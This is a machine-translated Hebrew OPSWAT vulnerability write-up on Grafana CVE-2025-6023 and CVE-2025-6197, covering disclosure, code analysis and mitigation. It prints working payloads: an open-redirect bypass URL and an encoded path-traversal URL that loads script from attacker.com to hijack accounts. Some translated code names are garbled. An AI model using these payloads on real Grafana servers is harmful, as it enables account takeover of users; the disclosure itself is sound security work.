העדכון שאתם לא יכולים להרשות לעצמכם לדלג עליו: סוף התמיכה ב-Office 2016 ו-Office 2019

קרא עכשיו
אנו משתמשים בבינה מלאכותית לתרגום האתר, ועל אף שאנו שואפים לדיוק מרבי, ייתכן שהתרגומים אינם מדויקים במאת האחוזים. אנו מודים לך על ההבנה.

Grafana CVE-2025-6023: יחידה 515 מגלה תיקון חלקי שהוביל להשתלטות מלאה על החשבון

עַל יְדֵי OPSWAT
שתף את הפוסט הזה

Grafana היא פלטפורמת קוד פתוח מובילה להצגת נתונים, ניתוח נתונים וניטור, המאפשרת למשתמשים לבנות לוחות מחוונים אינטראקטיביים על ידי צבירת נתונים ממקורות מרובים. עם למעלה מ-68,000 כוכבים ב-GitHub ומיליוני הורדות דרך Docker Hub ומאגרים אחרים, Grafana הפכה למרכיב קריטי בערימות ניטור מודרניות בתעשיות שונות.

האימוץ הנרחב שלו ותפקידו הקריטי בניטור תשתיות הופכים את Grafana למטרה מרכזית עבור גורמי איום. אבטחתו חיונית להגנה על שלמות וזמינות סביבות ניטור בארגונים.

בְּ OPSWAT אנו תורמים באופן פעיל לקהילת האבטחה על ידי מחקר וחשיפה אחראית של פגיעויות בפלטפורמות נפוצות כמו Grafana. בשנת 2021, CVE-2021-39226, התגלתה פגיעות קריטית ונחשפה באחריות על ידי TheBlackTurtle , חבר ביחידה 515 של OPSWAT .

בנוסף לתרומות אלו, OPSWAT מעצים גם את הדור הבא של כישרונות אבטחת סייבר באמצעות יוזמות הכשרה מעשיות. תוכנית אחת כזו היא תוכנית המלגות לבוגרי אבטחת סייבר בתשתיות קריטיות OPSWAT , המספקת לסטודנטים ניסיון מעשי בזיהוי וניתוח איומי אבטחה מהעולם האמיתי. כחלק מתוכנית זו, פגיעות קריטית חדשה ב-Grafana, CVE-2025-6023 , התגלתה על ידי אחד מעמיתינו במהלך פרויקט מחקר עצמאי.

OPSWAT תוכנית מלגות וגילוי פגיעויות קריטיות

ה OPSWAT תוכנית המלגות לתואר שני באבטחת סייבר בתשתיות קריטיות, הממוקמת בווייטנאם, מציעה לסטודנטים לתארים מתקדמים ניסיון מעשי באבטחת תשתיות קריטיות. העמיתים משתפים פעולה באופן פעיל עם... OPSWAT מומחי אבטחת סייבר להתמודדות עם אתגרים מהעולם האמיתי בתחומי זיהוי תוכנות זדוניות, אבטחת קבצים ומניעת איומים.

כחלק מתוכנית קפדנית זו, המשתתפים חוקרים, משחזרים ומנתחים באופן שיטתי פגיעויות ידועות (CVE) במגוון מוצרי תוכנה, ספריות ומערכות הפעלה תחת הדרכתו של OPSWAT מומחים. הואה ש. נגוין , אחד מעמיתינו המכובדים, בחר בגרפנה כמוקד פרויקט המחקר העיקרי שלו.

ביוני 2025, במהלך סקירה מעמיקה של CVE-2025-4123 וניתוח מעמיק יותר של קוד המקור של Grafana, זיהה הואה X. נגוין פגיעות שלא הייתה ידועה קודם לכן בפלטפורמה. הבעיה כללה שרשור של פגם פתוח בהפניה מחדש עם פגיעות של חציית נתיב בצד הלקוח (CSPT), מה שהוביל בסופו של דבר ל-Cross-Site Scripting (XSS) ולכיבוש מלא של החשבון דרך נקודת קצה אחרת ב-Grafana.

תוך כדי שיתוף פעולה הדוק עם יחידה 515 , גילינו לא רק שרשרת פרצות אחת, אלא שתיים, שכל אחת מהן עלולה להוביל לפריצה מלאה לחשבון.

OPSWAT המשיכה את תרומתה הפעילה על ידי דיווח אחראי על הפגיעויות ל-Grafana. הבעיות זוהו במהירות, ותיקונים פורסמו בגרסאות עוקבות. פגיעויות אלו קיבלו מאוחר יותר קטגוריה CVE-2025-6023 ו-CVE-2025-6197, ומאז פורסמו בפומבי במסד הנתונים הלאומי של פגיעויות (NVD).

ציר זמן של CVE-2025-6023 ו-CVE-2025-6197

  • 11 ביוני 2025: הואה ש. נגוין זיהתה פגיעות בגרסה האחרונה של Grafana והגישה דוח אבטחה ל-Grafana.
  • 11 ביוני 2025: לאחר דיון, Grafana אישרה את הפגיעות והקצתה את CVE-2025-6023 בדרגת חומרה גבוהה.
  • 17 ביוני 2025: דאט פונג מיחידה 515 עבד בשיתוף פעולה הדוק עם הואה ש. נגוין וגילה שרשרת תקיפה נוספת המנצלת את הפגיעות.
  • 17 ביוני 2025: Grafana אישרה את הפגיעות השנייה והקצתה את CVE-2025-6197 בדרגת חומרה בינונית.
  • 17 ביולי 2025: Grafana הוציאה את גרסאות 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 ו-11.3.8+security-01, והציגה תיקון משופר שטיפלו ביעילות בפגיעויות אלו.
  • 18 ביולי 2025: מסד הנתונים הלאומי של פגיעויות (NVD) חשף רשמית את CVE-2025-6023 ו-CVE-2025-6197.
ציר זמן ושלבי הפחתה של Grafana CVE-2025-6023, כולל דוח באגים, תאריכי תיקון ודוגמה למדיניות אבטחה
ציר זמן של Grafana CVE-2025-6023 ו-CVE-2025-6197 המציג חוקרים ותאריכי חשיפה בהיכל התהילה של האבטחה

ניתוח טכני של התיקון הלא שלם ו-CVE-2025-6023

במאי 2025, נחשפה CVE-2025-4123, פגיעות בעלת חומרה גבוהה ב-Grafana, על ידי אלוורו בלאדה . הפגם שילב חציית נתיב בצד הלקוח עם הפניה פתוחה, מה שאפשר לתוקפים לספק תוספים זדוניים בקצה הקדמי שמבצעים JavaScript שרירותי בתוך ההקשר המהימן של Grafana - וכתוצאה מכך השתלטות מלאה על החשבון. במקרים בהם גישה אנונימית הופעלה, לא נדרש אימות. בנוסף, אם הותקן תוסף Grafana Image Renderer , הניצול עלול להסלים ל- SSRF , ולחשוף שירותים פנימיים או מטא-נתונים בענן.

Grafana טיפלה בבעיה באמצעות עדכוני אבטחה במאי 2025 , והציגה תיקונים בגרסאות 12.0.0+security01, 11.6.1+security01 ואחרות בענפי 10.x–11.x. התיקונים כללו שיפורים במדיניות אבטחת תוכן (CSP) וחיטוי מחמיר יותר של הפניות.

כחלק מ- OPSWAT במסגרת תוכנית המלגות לבוגרי סייבר בתחום אבטחת תשתיות קריטיות, הואה ש. נגוין ערך ניתוח מקיף של CVE-2025-4123. מחקרו כלל הנדסה הפוכה של זרימת הניצול לרעה והערכת יעילות התיקון שסופק. במהלך חקירה זו, הואה ציין כי למרות שהפגיעות היא ביסודה שילוב של הפניה פתוחה וחציית נתיב בצד הלקוח, התיקון עבור CVE-2025-4123 טיפל רק בהפניה הפתוחה בקובץ staticHandler , באמצעות בדיקת ניקוי נתונים שהוצגה ב-commit {ff20b06}.

הבדל קוד המציג תיקון עבור Grafana CVE-2025-6023 עם שינויים בטיפול בנתיבים בפונקציית staticHandler

עם זאת, צמצום חלקי זה הותיר את וקטור התקיפה המרכזי ללא מענה. הסיכון הבסיסי נותר: אם תוקף יוכל לזהות נקודת קצה חלופית הפגיעה להפניות פתוחות , אותה שרשרת פרצות עדיין תוכל להתקיים ולשמש לביצוע השתלטות מלאה על החשבון - גם לאחר התיקון. מתוך מחשבה על השערה זו, הואה ערך סקירת קוד מקור מעמיקה יותר של בסיס הקוד של Grafana. באמצעות מאמץ זה, הוא זיהה בהצלחה נקודת קצה פגיעה נוספת: /user/auth-tokens/rotate .

נקודת קצה זו נועדה ליצור מחדש אסימוני אימות שפג תוקפם. פרמטר השאילתה redirectTo משמש לנווט את המשתמש לדף היעד לאחר חידוש הטוקן בהצלחה.

קטע קוד Go המציג לוגיקת הפניה הקשורה לניתוח תיקון לא שלם של Grafana CVE-2025-6023

תחת יישום טיפוסי, כתובת ה-URL להפניה מחדש נבנית על ידי שרשור ערך התצורה Cfg.AppSubURL עם הפרמטר redirectTo שסופק על ידי המשתמש. עם זאת, בתצורת ברירת המחדל של Grafana, AppSubURL אינו מוגדר. כתוצאה מכך, היישום מסתמך אך ורק על הערך הגולמי של redirectTo בעת יצירת נתיב ההפניה מחדש.

Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.

עבור מנגנון ניתוב מחדש זה, Grafana מנסה להפחית סיכוני אבטחה הקשורים לקלט המסופק על ידי המשתמש באמצעות פונקציית אימות בשם ValidateRedirectTo , שנועדה לחסום יעדי ניתוב מחדש לא בטוחים - כגון אלו המתחילים ב- //example.com - על ידי איסור על שימוש בקו אלכסוני כפול בתחילת הנתיב:

קוד Go לאימות הפניה הקשור ל-Grafana CVE-2025-6023, המציג לוגיקה לבדיקות נתיב ומחשב מארח

עם זאת, כפי שהודגם במחקר המקורי של אלווארו בלאדה , ניתן לעקוף פונקציה זו באמצעות קו נטוי קדמי ואחריו קו נטוי הפוך (למשל, /\example.com ), אשר דפדפנים מודרניים מפרשים באופן דומה ל -// example.com. כתוצאה מכך, ניתן להשתמש במטען הבא כדי להשיג הפניה פתוחה, בהנחה שהמשתמש מאומת:

/user/auth-tokens/rotate?redirectTo=/\example.com

צילום מסך של קוד המציג בקשת HTTP ותגובתם המדגישים פגם בהפניה מחדש בניתוח טכני של Grafana CVE-2025-6023

ממצא זה של הואה ש. נגוין - יחד עם התיקון הלא שלם עבור CVE-2025-4123 - מוכיח כי השתלטות מלאה על חשבון Grafana נותרה אפשרית.

לאחר גילוי מעקף זה, OPSWAT דיווחו על הבעיה באופן מיידי לצוות הפיתוח של Grafana. בתגובה, Grafana כבר זיהתה את הפעולה הקודמת כלא שלמה באמצעות דיונים פנימיים ותכננה לטפל בבעיה במהדורה קרובה לפני הדיווח שלנו. כתוצאה מכך, הדיווח שלנו התקבל עם הקצאת CVE חדש עבור פגיעות ההפניה הפתוחה שנחשפה, המסווגת בחומרה בינונית .

CVE-2025-6023: שרשרת ניצול חדשה המאפשרת השתלטות מלאה על חשבון

CVE-2025-4123 הדגיש במקור פגיעות של חציית נתיב בצד הלקוח (CSPT) בתוך יישום התוסף הקדמי של Grafana. בדיווח הראשוני שלו, הואה X. נגוין שילב את בעיית ה-CSPT הידועה הזו עם פגם חדש שהתגלה בהפניה מחדש כדי ליצור שרשרת פרצות יעילה. למרות ההשפעה הקריטית שהודגמה, הפגיעות הוגדרה רק בחומרה בינונית, מכיוון ש-Grafana כבר הודה באופן פנימי באופיו הלא שלם של התיקון לפני חשיפת ה-CSPT.

עובדה זו הוביל לחקירה מעמיקה יותר האם קיימים פגמים נוספים ב-CSPT בבסיס הקוד של Grafana, אשר - בשילוב עם פגיעות ההפניה הפתוחה שהתגלתה לאחרונה - יכולים לאפשר שרשרת פרצות עצמאית לחלוטין. אם פגיעות CSPT כזו תימצא בנקודת קצה אחרת, היא יכולה להצדיק הקצאת אותה רמת חומרה גבוהה כמו CVE-2025-4123.

גילוי פגיעות חדשה Endpoint

בהשראת השערה זו, הואה ערך סקירה מעמיקה של קוד המקור של Grafana. במהלך ניתוח זה, הוא זיהה נקודת קצה פגיעה נוספת שאפשרה אחזור וביצוע דינמיים של סקריפטים ממקורות שרירותיים - ללא אימות קלט או ניקוי נאותים. התנהגות לא מאובטחת זו קשורה לפונקציונליות הסקריפטים של לוח המחוונים של Grafana, המנוהלת באופן ספציפי דרך המסלול הבא: 

/לוח מחוונים/:סוג/:שבלול 

נתיב זה מעובד על ידי תוכנת ביניים האחראית על טיפול בסקריפטים של לוח המחוונים. באופן ספציפי, הפרמטר :slug משמש לטעינה וביצוע של סקריפטים באופן דינמי - ללא ניקוי נאות - ובכך מאפשר לתוקפים ליצור כתובות URL זדוניות וליצור מחדש שרשרת פרצות דומה לזו של CVE-2025-4123. 

ניתוח מנגנון הסקריפטים של לוח המחוונים

מנגנון הסקריפטים של לוח המחוונים של Grafana משתמש ברכיב DashboardPageProxy כדי לטפל בבקשות התואמות לנתיב /dashboard/:type/:slug :

צילום מסך של קוד המציג את לוגיקת הניתוב של לוח המחוונים הרלוונטית לניתוח מנגנון הסקריפטים של Grafana CVE-2025-6023
איור 1. מנגנון סקריפטים של לוח המחוונים

בתוך DashboardPageProxy , זרימת הביצוע מתנהלת באופן הבא:

צילום מסך של קוד המציג לוגיקת סקריפטים של לוח המחוונים הקשורה לניתוח פגיעויות Grafana CVE-2025-6023
איור 2. זרימות DashboardPageProxy

התוצאה המוחזרת על ידי DashboardPageProxy נגזרת מביצוע המתודה stateManager.fetchDashboard() , אשר מקבלת את הפרמטרים uid , type ו- slug המופקים מנתיב ה-URL. על מנת לנתח כיצד תגובה זו בנויה, הואה X.Nguyen בחן את אובייקט stateManager ואת הלוגיקה בתוך המתודה fetchDashboard() שלו. הפונקציה stateManager נוצרת באמצעות הפונקציה getDashboardScenePageStateManager() , המוגדרת בקובץ הבא:

/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts

קוד JavaScript לניהול מצב לוח מחוונים הקשור לניתוח מנגנון סקריפטים של Grafana CVE-2025-6023
איור 3. getDashboardScenePageStateManager

מכיוון ש- stateManager מאותחל על ידי קריאה לפונקציה getDashboardScenePageStateManager() ללא כל ארגומנטים, כפי שמודגם באיור 2, ניתן להסיק שהאובייקט המוחזר הוא מופע של המחלקה UnifiedDashboardScenePageStateManager .

לכן, כדי להבין את התנהגות המתודה fetchDashboard (), הוא המשיך לנתח את יישומה בתוך המחלקה UnifiedDashboardScenePageStateManager :

צילום מסך של קוד המציג לוגיקת סקריפטים של לוח המחוונים הקשורה לניתוח פגיעויות Grafana CVE-2025-6023
איור 4. מחלקה UnifiedDashboardScenePageStateManager

בתוך המחלקה UnifiedDashboardScenePageStateManager , המתודה fetchDashboard () מפעילה תחילה את הפונקציה withVersionHandling() . פונקציה זו אחראית על קביעה והחזרה של מופע activeManager . לאחר בניית activeManager , היא קוראת לשיטת fetchDashboard() המתאימה באותו מופע, ומעבירה את פרמטר האפשרויות הרלוונטי.

מופע activeManager הוא אובייקט DashboardScenePageStateManager או DashboardScenePageStateManagerV2 . שתי המחלקות מיישמות לוגיקה דומה לאחזור נתוני לוח מחוונים. הקוד הבא נלקח מהמחלקה DashboardScenePageStateManager :

צילום מסך של קוד המציג את לוגיקת טעינת לוח המחוונים הקשורה למנגנון הסקריפטים של לוח המחוונים של Grafana CVE-2025-6023

בתוך המתודה fetchDashboard() של המחלקה DashboardScenePageStateManager , פקודה switch משמשת לקביעת לוגיקת הטיפול המתאימה בהתבסס על סוג הנתיב. במקרה ברירת המחדל, המתודה קוראת ל:

לוח מחווניםLoaderSrv.loadDashboard(סוג, slug, uid, שאילתה)

קריאה זו מתחילה את תהליך טעינת לוח המחוונים המבוקש. ניתן למצוא את מימוש הייחוס של הפונקציה loadDashboard() בקובץ הבא:

/public/app/features/dashboard/services/DashboardLoad

קוד TypeScript עבור לוגיקת טעינת לוח מחוונים ב-Grafana CVE-2025-6023, המציג ניתוח מנגנון סקריפטים

בתוך הפונקציה loadDashboard (), מספר בדיקות מותנות מבוצעות כדי לקבוע את זרימת העיבוד המתאימה. במקרה הספציפי שבו הסוג מוגדר ל-"script" וקיים slug , הפונקציה קוראת ל:

לוח מחוונים זה.loadScriptedDashboard(slug)

כאן, ה-slug - שמקורו ישירות בקלט המשתמש - מועבר כפרמטר לשיטת loadScriptedDashboard (). כדי להעריך את זרימת הביצוע ואת הפגיעויות האפשריות שנוצרו על ידי קריאה זו, הואה המשיך לנתח את המימוש של loadScriptedDashboard() בתוך המחלקה DashboardLoaderSrvBase :

צילום מסך של קוד המציג לוגיקת סקריפטים של לוח המחוונים הקשורה לניתוח פגיעויות Grafana CVE-2025-6023

במתודה loadScriptedDashboard (), הפרמטר slug - המוצג באיור 2 - מטופל כשם קובץ (מחרוזת) ומשמש לבניית משתנה ה-url . עם זאת, פרמטר זה אינו עובר חיטוי כראוי. המימוש מיישם ביטוי רגולרי כדי להחליף את כל תווי הנקודה (.) מלבד אלו שאחריהם מופיע " js " בקו נטוי קדמי (/). סינון חלקי זה אינו מצליח לטהר כראוי את הקלט, מה שמותיר אותו חשוף למניפולציה של הנתיב ולתקיפות חצייה.

לאחר בניית כתובת ה-URL, הסקריפט מנסה לטעון את לוח המחוונים שצוין על ידי קריאה לפונקציה getBackendSrv().get(url). הסקריפט שאוחזר מבוצע לאחר מכן באמצעות this.executeScript(code).

ניתוח זה הוביל בסופו של דבר את הואה ש. נגוין לזהות פגיעות חדשה של Client-Side Path Traversal (CSPT) בגרסה האחרונה של Grafana. עקב היעדר ניקוי או אימות קלט, תוקף יכול לתמרן את הקוד כדי ליצור כתובת URL שטוענת ומבצעת סקריפט זדוני ממקור חיצוני - ובכך לשכפל את הבעיה המרכזית שזוהתה בעבר ב-CVE-2025-4123 באמצעות טעינת סקריפט לוח המחוונים.

בשילוב עם פגיעות ההפניה הפתוחה שהתגלתה לאחרונה, בעיה זו מאפשרת שרשרת פרצות שלמה המסוגלת להשיג השתלטות מלאה על חשבון. דוגמה למטען המדגים פרצה זו היא כדלקמן:

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>

לְדוּגמָה:

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js

קובץ ה- malicious.js יכול להיות יוצר כך שישנה את כתובת הדוא"ל ושם המשתמש של הקורבן לאלו שבשליטת התוקף. זה יאפשר לתוקף ליזום תהליך איפוס סיסמה לכתובת הדוא"ל שלו, ובסופו של דבר יביא להשתלטות מלאה על החשבון:

קוד JavaScript המנצל את Grafana CVE-2025-6023 כדי לשנות את כתובת הדוא"ל והתחברות של המשתמש, מוצג לניתוח סקריפטים של לוח המחוונים

הוכחת היתכנות עבור CVE-2025-6023

סרטון זה מציג את ההשפעה המעשית של CVE-2025-6023, ומדגים תרחיש מלא של השתלטות על חשבון המשפיע על משתמשי Grafana, שהתגלה על ידי הואה X. נגוין. OPSWAT :

הפחתה והנחיה

כדי לצמצם את הפגיעויות שדנו בהן לעיל, אנא ודא שהמערכת שלך מעודכנת לגרסה העדכנית ביותר של Grafana.

MetaDefender Core שימוש במנוע SBOM יכול לזהות את הפגיעות הזו

Core OPSWAT MetaDefender , מצוידת ב- SBOM מתקדמת ( Software יכולות (רשימת חומרים), מאפשרות לארגונים לנקוט בגישה פרואקטיבית להתמודדות עם סיכוני אבטחה. על ידי סריקת יישומי תוכנה והתלויות שלהם, MetaDefender Core מזהה פגיעויות ידועות, כגון CVE-2025-6023 ו-CVE-2025-6197, בתוך הרכיבים המפורטים. זה מאפשר לצוותי פיתוח ואבטחה לתעדף מאמצי תיקון נתונים, תוך הפחתת סיכוני אבטחה פוטנציאליים לפני שניתן לנצל אותם על ידי גורמים זדוניים.

להלן צילום מסך של CVE-2025-6023 ו-CVE-2025-6197, אשר זוהו על ידי MetaDefender Core עם SBOM:

MetaDefender Core מנוע SBOM מזהה את הפגיעות של Grafana CVE-2025-6023 כסיכון גבוה בקובץ go.mod

בנוסף, ניתן לזהות את אירועי ה-CVE גם על ידי MetaDefender Software Supply Chain , אשר ממנפת את MetaDefender Core עם SBOM כדי לזהות את הפגיעויות הללו.

MetaDefender Core מנוע SBOM מזהה פגיעות Grafana CVE-2025-6023 בממשק המשתמש של דיווח מודול Go
תגיות:

הישאר מעודכן עם OPSWAT !

הירשמו עוד היום כדי לקבל את העדכונים האחרונים של החברה, סיפורים, מידע על אירועים ועוד.